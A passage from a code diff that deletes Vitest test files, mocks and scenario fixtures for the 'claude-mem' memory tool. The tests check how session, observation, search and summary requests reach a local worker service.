tool_name: editFileScenario.tool_name,
tool_input: editFileScenario.tool_input,
tool_response: editFileScenario.tool_response,
cwd: '/project'
})
}
);
// Verify: Observation queued successfully
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
// Verify: Edit details captured
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.tool_name).toBe('Edit');
expect(requestBody.tool_input.old_string).toBe('const PORT = 3000;');
expect(requestBody.tool_input.new_string).toBe('const PORT = 8080;');
});
it('captures Grep search observation', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send Grep tool observation
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: grepScenario.tool_name,
tool_input: grepScenario.tool_input,
tool_response: grepScenario.tool_response,
cwd: '/project'
})
}
);
// Verify: Observation queued successfully
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
});
it('handles rapid succession of observations (burst mode)', async () => {
// Setup: Mock worker to accept all observations
let observationCount = 0;
global.fetch = vi.fn().mockImplementation(async () => {
const currentId = ++observationCount;
return {
ok: true,
status: 200,
json: async () => ({ status: 'queued', observationId: currentId })
};
});
// Execute: Send 5 observations rapidly (simulates active coding session)
const observations = [
bashCommandScenario,
readFileScenario,
writeFileScenario,
editFileScenario,
grepScenario
];
const promises = observations.map(obs =>
fetch(`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: obs.tool_name,
tool_input: obs.tool_input,
tool_response: obs.tool_response,
cwd: '/project'
})
})
);
const responses = await Promise.all(promises);
// Verify: All observations queued successfully
expect(responses.every(r => r.ok)).toBe(true);
expect(observationCount).toBe(5);
// Verify: Each got unique ID
const results = await Promise.all(responses.map(r => r.json()));
const ids = results.map(r => r.observationId);
expect(new Set(ids).size).toBe(5); // All IDs unique
});
it('preserves tool metadata in observation', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
const complexTool = {
tool_name: 'Task',
tool_input: {
subagent_type: 'Explore',
prompt: 'Find authentication code',
description: 'Search for auth'
},
tool_response: {
result: 'Found auth in /src/auth.ts',
files_analyzed: ['/src/auth.ts', '/src/login.ts']
}
};
// Execute: Send complex tool observation
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
...complexTool,
cwd: '/project'
})
}
);
// Verify: All metadata preserved in request
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.tool_name).toBe('Task');
expect(requestBody.tool_input.subagent_type).toBe('Explore');
expect(requestBody.tool_response.files_analyzed).toHaveLength(2);
});
});
-329
View File
@@ -1,329 +0,0 @@
/**
* Happy Path Test: Search (MCP Tools)
*
* Tests that the search functionality correctly finds and returns
* stored observations matching user queries.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { sampleObservation, featureObservation } from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Search (MCP Tools)', () => {
const WORKER_PORT = getWorkerPort();
beforeEach(() => {
vi.clearAllMocks();
});
it('finds observations matching query', async () => {
// This tests the happy path:
// User asks "what did we do?" → Search skill queries worker →
// Worker searches database → Returns relevant observations
// Setup: Mock search response with matching observations
const searchResults = [
{
id: 1,
title: 'Parser bugfix',
content: 'Fixed XML parsing issue with self-closing tags',
type: 'bugfix',
created_at: '2024-01-01T10:00:00Z'
},
{
id: 2,
title: 'Parser optimization',
content: 'Improved parser performance by 50%',
type: 'feature',
created_at: '2024-01-02T10:00:00Z'
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: searchResults, total: 2 })
});
// Execute: Search for "parser"
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=parser&project=claude-mem`
);
// Verify: Found matching observations
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(2);
expect(data.results[0].title).toContain('Parser');
expect(data.results[1].title).toContain('Parser');
});
it('returns empty results when no matches found', async () => {
// Setup: Mock empty search results
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: [], total: 0 })
});
// Execute: Search for non-existent term
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=nonexistent&project=claude-mem`
);
// Verify: Returns empty results gracefully
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(0);
expect(data.total).toBe(0);
});
it('supports filtering by observation type', async () => {
// Setup: Mock filtered search results
const bugfixResults = [
{
id: 1,
title: 'Fixed parser bug',
type: 'bugfix',
created_at: '2024-01-01T10:00:00Z'
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: bugfixResults, total: 1 })
});
// Execute: Search for bugfixes only
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search/by-type?type=bugfix&project=claude-mem`
);
// Verify: Returns only bugfixes
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(1);
expect(data.results[0].type).toBe('bugfix');
});
it('supports filtering by concept tags', async () => {
// Setup: Mock concept-filtered results
const conceptResults = [
{
id: 1,
title: 'How parser works',
concepts: ['how-it-works', 'parser'],
created_at: '2024-01-01T10:00:00Z'
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: conceptResults, total: 1 })
});
// Execute: Search by concept
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search/by-concept?concept=how-it-works&project=claude-mem`
);
// Verify: Returns observations with that concept
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(1);
expect(data.results[0].concepts).toContain('how-it-works');
});
it('supports pagination for large result sets', async () => {
// Setup: Mock paginated results
const page1Results = Array.from({ length: 20 }, (_, i) => ({
id: i + 1,
title: `Observation ${i + 1}`,
created_at: '2024-01-01T10:00:00Z'
}));
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({
results: page1Results,
total: 50,
page: 1,
limit: 20
})
});
// Execute: Search with pagination
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=observation&project=claude-mem&limit=20&offset=0`
);
// Verify: Returns paginated results
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(20);
expect(data.total).toBe(50);
expect(data.page).toBe(1);
});
it('supports date range filtering', async () => {
// Setup: Mock date-filtered results
const recentResults = [
{
id: 5,
title: 'Recent observation',
created_at: '2024-01-05T10:00:00Z'
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: recentResults, total: 1 })
});
// Execute: Search with date range
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=observation&project=claude-mem&dateStart=2024-01-05&dateEnd=2024-01-06`
);
// Verify: Returns observations in date range
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(1);
expect(data.results[0].created_at).toContain('2024-01-05');
});
it('returns observations with file references', async () => {
// Setup: Mock results with file paths
const fileResults = [
{
id: 1,
title: 'Updated parser',
files: ['src/parser.ts', 'tests/parser.test.ts'],
created_at: '2024-01-01T10:00:00Z'
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: fileResults, total: 1 })
});
// Execute: Search
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=parser&project=claude-mem`
);
// Verify: File references included
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results[0].files).toHaveLength(2);
expect(data.results[0].files).toContain('src/parser.ts');
});
it('supports semantic search ranking', async () => {
// Setup: Mock results ordered by relevance
const rankedResults = [
{
id: 2,
title: 'Parser bug fix',
content: 'Fixed critical parser bug',
relevance: 0.95
},
{
id: 5,
title: 'Parser documentation',
content: 'Updated parser docs',
relevance: 0.72
},
{
id: 10,
title: 'Mentioned parser briefly',
content: 'Also updated the parser',
relevance: 0.45
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({
results: rankedResults,
total: 3,
orderBy: 'relevance'
})
});
// Execute: Search with relevance ordering
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=parser+bug&project=claude-mem&orderBy=relevance`
);
// Verify: Results ordered by relevance
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(3);
expect(data.results[0].relevance).toBeGreaterThan(data.results[1].relevance);
expect(data.results[1].relevance).toBeGreaterThan(data.results[2].relevance);
});
it('handles special characters in search queries', async () => {
// Setup: Mock results for special character query
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: [], total: 0 })
});
// Execute: Search with special characters
const queries = [
'function*',
'variable: string',
'array[0]',
'path/to/file',
'tag<content>',
'price $99'
];
for (const query of queries) {
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=${encodeURIComponent(query)}&project=claude-mem`
);
}
// Verify: All queries processed without error
expect(global.fetch).toHaveBeenCalledTimes(queries.length);
});
it('supports project-specific search', async () => {
// Setup: Mock results from specific project
const projectResults = [
{
id: 1,
title: 'Claude-mem feature',
project: 'claude-mem',
created_at: '2024-01-01T10:00:00Z'
}
];
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ results: projectResults, total: 1 })
});
// Execute: Search specific project
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/search?query=feature&project=claude-mem`
);
// Verify: Returns only results from that project
expect(response.ok).toBe(true);
const data = await response.json();
expect(data.results).toHaveLength(1);
expect(data.results[0].project).toBe('claude-mem');
});
});
-247
View File
@@ -1,247 +0,0 @@
/**
* Happy Path Test: Session Cleanup (SessionEnd)
*
* Tests that when a session ends, the worker marks it complete
* and performs necessary cleanup operations.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { sessionScenario } from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Session Cleanup (SessionEnd)', () => {
const WORKER_PORT = getWorkerPort();
beforeEach(() => {
vi.clearAllMocks();
});
it('marks session complete and stops SDK agent', async () => {
// This tests the happy path:
// Session ends → Hook notifies worker → Worker marks session complete →
// SDK agent stopped → Resources cleaned up
// Setup: Mock successful response from worker
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'completed' })
});
// Execute: Send complete request (what cleanup-hook does)
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
reason: 'user_exit'
})
}
);
// Verify: Session marked complete
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('completed');
// Verify: Correct data sent to worker
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.claudeSessionId).toBe(sessionScenario.claudeSessionId);
expect(requestBody.reason).toBe('user_exit');
});
it('handles missing session ID gracefully', async () => {
// Setup: Mock error response
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'Missing claudeSessionId' })
});
// Execute: Send complete request without session ID
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
reason: 'user_exit'
})
}
);
// Verify: Returns error
expect(response.ok).toBe(false);
expect(response.status).toBe(400);
const error = await response.json();
expect(error.error).toContain('Missing claudeSessionId');
});
it('handles different session end reasons', async () => {
// Setup: Track all cleanup requests
const cleanupRequests: any[] = [];
global.fetch = vi.fn().mockImplementation(async (url, options) => {
const body = JSON.parse(options.body);
cleanupRequests.push(body);
return {
ok: true,
status: 200,
json: async () => ({ status: 'completed' })
};
});
// Test different end reasons
const reasons = [
'user_exit', // User explicitly ended session
'timeout', // Session timed out
'error', // Error occurred
'restart', // Session restarting
'clear' // User cleared context
];
// Execute: Send cleanup for each reason
for (const reason of reasons) {
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: `session-${reason}`,
reason
})
}
);
}
// Verify: All cleanup requests processed
expect(cleanupRequests.length).toBe(5);
expect(cleanupRequests.map(r => r.reason)).toEqual(reasons);
});
it('completes multiple sessions independently', async () => {
// Setup: Track session completions
const completedSessions: string[] = [];
global.fetch = vi.fn().mockImplementation(async (url, options) => {
const body = JSON.parse(options.body);
completedSessions.push(body.claudeSessionId);
return {
ok: true,
status: 200,
json: async () => ({ status: 'completed' })
};
});
const sessions = [
'session-abc-123',
'session-def-456',
'session-ghi-789'
];
// Execute: Complete multiple sessions
for (const sessionId of sessions) {
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
reason: 'user_exit'
})
}
);
}
// Verify: All sessions completed
expect(completedSessions).toEqual(sessions);
});
it('handles cleanup when session not found', async () => {
// Setup: Mock 404 response for non-existent session
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 404,
json: async () => ({ error: 'Session not found' })
});
// Execute: Try to complete non-existent session
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: 'non-existent-session',
reason: 'user_exit'
})
}
);
// Verify: Returns 404 (graceful handling)
expect(response.ok).toBe(false);
expect(response.status).toBe(404);
});
it('supports optional metadata in cleanup request', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'completed' })
});
// Execute: Send cleanup with additional metadata
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
reason: 'user_exit',
duration_seconds: 1800,
observations_count: 25,
project: 'claude-mem'
})
}
);
// Verify: Metadata included in request
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.duration_seconds).toBe(1800);
expect(requestBody.observations_count).toBe(25);
expect(requestBody.project).toBe('claude-mem');
});
it('handles worker being down during cleanup', async () => {
// Setup: Mock worker unreachable
global.fetch = vi.fn().mockRejectedValue(new Error('ECONNREFUSED'));
// Execute: Attempt to complete session
try {
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
reason: 'user_exit'
})
}
);
// Should throw, so fail if we get here
expect(true).toBe(false);
} catch (error: any) {
// Verify: Error indicates worker is down
expect(error.message).toContain('ECONNREFUSED');
}
// The hook should log this but not fail the session end
// (This graceful degradation would be tested in hook-specific tests)
});
});
-182
View File
@@ -1,182 +0,0 @@
/**
* Happy Path Test: Session Initialization
*
* Tests that when a user's first tool use occurs, the session is
* created in the database and observations can be queued.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { bashCommandScenario, sessionScenario } from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Session Initialization (UserPromptSubmit)', () => {
const WORKER_PORT = getWorkerPort();
beforeEach(() => {
vi.clearAllMocks();
});
it('creates session when first observation is sent', async () => {
// This tests the happy path:
// User types first prompt → Tool runs → Hook sends observation →
// Worker creates session → Observation queued for SDK processing
// Setup: Mock successful response from worker
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued', sessionId: 1 })
});
// Execute: Send first observation (what save-hook does)
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: bashCommandScenario.tool_name,
tool_input: bashCommandScenario.tool_input,
tool_response: bashCommandScenario.tool_response,
cwd: '/project/claude-mem'
})
}
);
// Verify: Session created and observation queued
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
expect(result.sessionId).toBeDefined();
// Verify: fetch was called with correct endpoint and data
expect(global.fetch).toHaveBeenCalledWith(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
expect.objectContaining({
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: expect.stringContaining(sessionScenario.claudeSessionId)
})
);
});
it('handles missing claudeSessionId gracefully', async () => {
// Setup: Mock error response for missing session ID
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'Missing claudeSessionId' })
});
// Execute: Send observation without session ID
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
tool_name: 'Bash',
tool_input: { command: 'ls' },
tool_response: { stdout: 'file.txt' }
})
}
);
// Verify: Returns 400 error
expect(response.ok).toBe(false);
expect(response.status).toBe(400);
const error = await response.json();
expect(error.error).toContain('Missing claudeSessionId');
});
it('queues multiple observations for the same session', async () => {
// Setup: Mock successful responses
let callCount = 0;
global.fetch = vi.fn().mockImplementation(async () => {
const currentId = ++callCount;
return {
ok: true,
status: 200,
json: async () => ({ status: 'queued', observationId: currentId })
};
});
const sessionId = sessionScenario.claudeSessionId;
// Execute: Send multiple observations for the same session
const obs1 = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
tool_name: 'Read',
tool_input: { file_path: '/test.ts' },
tool_response: { content: 'code...' }
})
}
);
const obs2 = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionId,
tool_name: 'Edit',
tool_input: { file_path: '/test.ts', old_string: 'old', new_string: 'new' },
tool_response: { success: true }
})
}
);
// Verify: Both observations were queued successfully
expect(obs1.ok).toBe(true);
expect(obs2.ok).toBe(true);
const result1 = await obs1.json();
const result2 = await obs2.json();
expect(result1.status).toBe('queued');
expect(result2.status).toBe('queued');
expect(result1.observationId).toBe(1);
expect(result2.observationId).toBe(2);
});
it('includes project context from cwd', async () => {
// Setup: Mock successful response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
const projectPath = '/Users/alice/projects/my-app';
// Execute: Send observation with cwd
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
tool_name: 'Bash',
tool_input: { command: 'npm test' },
tool_response: { stdout: 'PASS', exit_code: 0 },
cwd: projectPath
})
}
);
// Verify: Request includes cwd
expect(global.fetch).toHaveBeenCalledWith(
expect.any(String),
expect.objectContaining({
body: expect.stringContaining(projectPath)
})
);
});
});
-248
View File
@@ -1,248 +0,0 @@
/**
* Happy Path Test: Session Summary (Stop)
*
* Tests that when a user pauses or stops a session, the SDK
* generates a summary from the conversation context.
*/
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { sessionSummaryScenario, sessionScenario } from '../helpers/scenarios.js';
import { getWorkerPort } from '../../src/shared/worker-utils.js';
describe('Session Summary (Stop)', () => {
const WORKER_PORT = getWorkerPort();
beforeEach(() => {
vi.clearAllMocks();
});
it('generates summary from last messages', async () => {
// This tests the happy path:
// User stops/pauses → Hook sends last messages → Worker queues for SDK →
// SDK generates summary → Summary saved to database
// Setup: Mock successful response from worker
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send summarize request (what summary-hook does)
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionSummaryScenario.claudeSessionId,
last_user_message: sessionSummaryScenario.last_user_message,
last_assistant_message: sessionSummaryScenario.last_assistant_message,
cwd: '/project/claude-mem'
})
}
);
// Verify: Summary queued successfully
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
// Verify: Correct data sent to worker
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.last_user_message).toBe('Thanks, that fixed it!');
expect(requestBody.last_assistant_message).toContain('parser');
});
it('handles missing session ID gracefully', async () => {
// Setup: Mock error response
global.fetch = vi.fn().mockResolvedValue({
ok: false,
status: 400,
json: async () => ({ error: 'Missing claudeSessionId' })
});
// Execute: Send summarize without session ID
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
last_user_message: 'Some message',
last_assistant_message: 'Some response'
})
}
);
// Verify: Returns error
expect(response.ok).toBe(false);
expect(response.status).toBe(400);
const error = await response.json();
expect(error.error).toContain('Missing claudeSessionId');
});
it('generates summary for different conversation types', async () => {
// Setup: Mock worker responses
const summaries: any[] = [];
global.fetch = vi.fn().mockImplementation(async (url, options) => {
const body = JSON.parse(options.body);
summaries.push(body);
return {
ok: true,
status: 200,
json: async () => ({ status: 'queued', summaryId: summaries.length })
};
});
// Test different conversation scenarios
const scenarios = [
{
type: 'bug_fix',
user: 'Thanks for fixing the parser bug!',
assistant: 'I fixed the XML parser to handle self-closing tags in src/parser.ts:42.'
},
{
type: 'feature_addition',
user: 'Perfect! The search feature works great.',
assistant: 'I added FTS5 full-text search in src/services/search.ts.'
},
{
type: 'exploration',
user: 'That helps me understand the codebase better.',
assistant: 'The authentication flow uses JWT tokens stored in localStorage.'
},
{
type: 'refactoring',
user: 'Much cleaner now!',
assistant: 'I refactored the duplicate code into a shared utility function in src/utils/helpers.ts.'
}
];
// Execute: Send summary for each scenario
for (const scenario of scenarios) {
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: `session-${scenario.type}`,
last_user_message: scenario.user,
last_assistant_message: scenario.assistant,
cwd: '/project'
})
}
);
}
// Verify: All summaries queued
expect(summaries.length).toBe(4);
expect(summaries[0].last_user_message).toContain('parser bug');
expect(summaries[1].last_user_message).toContain('search');
expect(summaries[2].last_user_message).toContain('understand');
expect(summaries[3].last_user_message).toContain('cleaner');
});
it('preserves long conversation context', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send summary with long messages (realistic scenario)
const longAssistantMessage = `I've fixed the bug in the parser. Here's what I did:
1. Added null check for empty tags in src/parser.ts:42
2. Updated the regex pattern to handle self-closing tags
3. Added unit tests to verify the fix works
4. Ran the test suite and confirmed all tests pass
The issue was that the parser wasn't handling XML tags like <tag/> correctly.
It was only expecting <tag></tag> format. Now it handles both formats.`;
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
last_user_message: 'Thanks for the detailed explanation!',
last_assistant_message: longAssistantMessage,
cwd: '/project'
})
}
);
// Verify: Long message preserved
expect(response.ok).toBe(true);
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.last_assistant_message.length).toBeGreaterThan(200);
expect(requestBody.last_assistant_message).toContain('parser.ts:42');
expect(requestBody.last_assistant_message).toContain('self-closing tags');
});
it('handles empty or minimal messages gracefully', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
// Execute: Send summary with minimal messages
const response = await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
last_user_message: 'Thanks!',
last_assistant_message: 'Done.',
cwd: '/project'
})
}
);
// Verify: Still processes minimal messages
expect(response.ok).toBe(true);
const result = await response.json();
expect(result.status).toBe('queued');
});
it('includes project context from cwd', async () => {
// Setup: Mock worker response
global.fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => ({ status: 'queued' })
});
const projectPath = '/Users/alice/projects/my-app';
// Execute: Send summary with project context
await fetch(
`http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
claudeSessionId: sessionScenario.claudeSessionId,
last_user_message: 'Great!',
last_assistant_message: 'Fixed the bug.',
cwd: projectPath
})
}
);
// Verify: Project context included
const fetchCall = (global.fetch as any).mock.calls[0];
const requestBody = JSON.parse(fetchCall[1].body);
expect(requestBody.cwd).toBe(projectPath);
});
});
-82
View File
@@ -1,82 +0,0 @@
/**
* Reusable mock factories for testing dependencies.
*/
import { vi } from 'vitest';
/**
* Mock fetch that succeeds with a JSON response
*/
export const mockFetchSuccess = (data: any = { success: true }) => {
return vi.fn().mockResolvedValue({
ok: true,
status: 200,
json: async () => data,
text: async () => JSON.stringify(data)
});
};
/**
* Mock fetch that fails with worker down error
*/
export const mockFetchWorkerDown = () => {
return vi.fn().mockRejectedValue(
new Error('ECONNREFUSED')
);
};
/**
* Mock fetch that returns 500 error
*/
export const mockFetchServerError = () => {
return vi.fn().mockResolvedValue({
ok: false,
status: 500,
json: async () => ({ error: 'Internal Server Error' }),
text: async () => 'Internal Server Error'
});
};
/**
* Mock database operations
*/
export const mockDb = {
createSDKSession: vi.fn().mockReturnValue(1),
addObservation: vi.fn().mockReturnValue(1),
getObservationById: vi.fn(),
getObservations: vi.fn().mockReturnValue([]),
searchObservations: vi.fn().mockReturnValue([]),
markSessionCompleted: vi.fn(),
getSession: vi.fn(),
getSessions: vi.fn().mockReturnValue([]),
};
/**
* Mock SDK agent
*/
export const mockSdkAgent = {
startSession: vi.fn(),
stopSession: vi.fn(),
processObservation: vi.fn(),
generateSummary: vi.fn(),
};
/**
* Mock session manager
*/
export const mockSessionManager = {
queueObservation: vi.fn(),
queueSummarize: vi.fn(),
getSession: vi.fn(),
createSession: vi.fn(),
completeSession: vi.fn(),
};
/**
* Helper to reset all mocks
*/
export const resetAllMocks = () => {
vi.clearAllMocks();
Object.values(mockDb).forEach(mock => mock.mockClear());
Object.values(mockSdkAgent).forEach(mock => mock.mockClear());
Object.values(mockSessionManager).forEach(mock => mock.mockClear());
};
-107
View File
@@ -1,107 +0,0 @@
/**
* Real-world test scenarios extracted from actual claude-mem usage.
* These represent typical tool usage patterns that generate observations.
*/
// A real Bash command observation
export const bashCommandScenario = {
tool_name: 'Bash',
tool_input: {
command: 'git status',
description: 'Check git status'
},
tool_response: {
stdout: 'On branch main\nnothing to commit, working tree clean',
exit_code: 0
}
};
// A real Read file observation
export const readFileScenario = {
tool_name: 'Read',
tool_input: {
file_path: '/project/src/index.ts'
},
tool_response: {
content: 'export function main() { console.log("Hello"); }'
}
};
// A real Write file observation
export const writeFileScenario = {
tool_name: 'Write',
tool_input: {
file_path: '/project/src/config.ts',
content: 'export const API_KEY = "test";'
},
tool_response: {
success: true
}
};
// A real Edit file observation
export const editFileScenario = {
tool_name: 'Edit',
tool_input: {
file_path: '/project/src/app.ts',
old_string: 'const PORT = 3000;',
new_string: 'const PORT = 8080;'
},
tool_response: {
success: true
}
};
// A real Grep search observation
export const grepScenario = {
tool_name: 'Grep',
tool_input: {
pattern: 'function.*main',
path: '/project/src'
},
tool_response: {
matches: [
'src/index.ts:10:export function main() {',
'src/cli.ts:5:function mainCli() {'
]
}
};
// A real session with prompts
export const sessionScenario = {
claudeSessionId: 'abc-123-def-456',
project: 'claude-mem',
userPrompt: 'Help me fix the bug in the parser'
};
// Another session scenario
export const sessionWithBuildScenario = {
claudeSessionId: 'xyz-789-ghi-012',
project: 'my-app',
userPrompt: 'Run the build and fix any type errors'
};
// Test observation data
export const sampleObservation = {
title: 'Fixed parser bug',
type: 'bugfix' as const,
content: 'The XML parser was not handling empty tags correctly. Added check for self-closing tags.',
files: ['/project/src/parser.ts'],
concepts: ['bugfix', 'parser', 'xml']
};
// Another observation
export const featureObservation = {
title: 'Added search functionality',
type: 'feature' as const,
content: 'Implemented full-text search using FTS5 for observations and sessions.',
files: ['/project/src/services/search.ts'],
concepts: ['feature', 'search', 'fts5']
};
// Session summary scenario
export const sessionSummaryScenario = {
claudeSessionId: 'abc-123-def-456',
last_user_message: 'Thanks, that fixed it!',
last_assistant_message: 'The bug was in the parser. I added a check for self-closing tags in src/parser.ts:42.'
};
@@ -1,53 +0,0 @@
/**
* Integration Test: Context Inject Early Access
*
* Tests that /api/context/inject endpoint is available immediately
